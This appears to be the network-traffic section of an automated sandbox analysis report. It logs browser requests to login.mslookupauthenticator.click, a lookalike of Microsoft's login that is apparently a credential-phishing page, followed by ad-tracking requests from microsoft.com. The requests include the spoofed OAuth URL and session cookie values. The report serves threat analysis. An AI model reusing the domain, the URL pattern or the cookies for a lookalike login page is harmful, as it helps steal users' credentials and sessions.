Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAALBC6t4OAAAA
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAALBC6t4OAAAA; MicrosoftApplicationsTelemetryDeviceId=c0addcc0-f568-4458-8b8f-a285f038f445; brcap=0; ai_session=p2ONN3yBwIyLq/oWfSPLo9\|1733839814743\|1733839814743
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAALBC6t4OAAAA; MicrosoftApplicationsTelemetryDeviceId=c0addcc0-f568-4458-8b8f-a285f038f445; brcap=0; ai_session=p2ONN3yBwIyLq/oWfSPLo9\|1733839814743\|1733839814743; MSFPC=GUID=66515b7790244a858f61fc5d83bbd54d&HASH=6651&LV=202412&V=4&LU=1733839821279
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1733839840368 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1733839840368 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=46795620289561025213399055950533803505&ts=1733839842479 HTTP/1.1Host: msftenterprise.sc.omtrdc.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dest5.html?d_nsid=0 HTTP/1.1Host: mscom.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=46795620289561025213399055950533803505&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MC1%01e984274b42544a629c3b1a12c2a86892%012&ts=1733839844796 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=46795620289561025213399055950533803505&ts=1733839842479 HTTP/1.1Host: msftenterprise.sc.omtrdc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /365868.gif?partner_uid=46356403213087719583427206263392261374 HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975
Source: global traffic	HTTP traffic detected: GET /i/adsct?p_user_id=46356403213087719583427206263392261374&p_id=38594 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=adobe_dmp&google_cm&gdpr=0&gdpr_consent=&google_hm=NDYzNTY0MDMyMTMwODc3MTk1ODM0MjcyMDYyNjMzOTIyNjEzNzQ= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D358%26dpuuid%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=46795620289561025213399055950533803505&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MC1%01e984274b42544a629c3b1a12c2a86892%012&ts=1733839844796 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/p-vj4AYjBqd6VJ2.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1000.gif?memo=CKyqFhIxCi0IARCYEhomNDYzNTY0MDMyMTMwODc3MTk1ODM0MjcyMDYyNjMzOTIyNjEzNzQQABoNCOiX4boGEgUI6AcQAEIASgA HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rlas3=57Q4X5tKGX/rTnRO+Zau1605eTDUKia/WnHZLKpHdeI=; pxrc=CAA=
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753; dpm=46356403213087719583427206263392261374
Source: global traffic	HTTP traffic detected: GET /i/adsct?p_user_id=46356403213087719583427206263392261374&p_id=38594 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_MSoHOj68G11kmb5OzRmNlA=="
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=jCJvPTTfpni5NPC1PhDUL-ybYzWXeoUE32XRKIyOtKxoAMYLfqWe8xBepN0Sk2OMRuZtfGZvwxmg9FgOVQSt-sTwhHtD74XBbvp-CrVsdDU.; receive-cookie-deprecation=1; uuid2=6105356000114051776
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=992&dpuuid=12jw1hmayu6up HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=ca5091e5-7f27-487b-9b72-5046f54d8363; TDCPM=CAEYBSgCMgsI5LPH2uXLzD0QBTgB
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1175&gdpr=0&dpuuid=VOZ2RlazJkdP4ndHAeFuTAbpJ0ZPt3BIW7VwEFtZ HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975
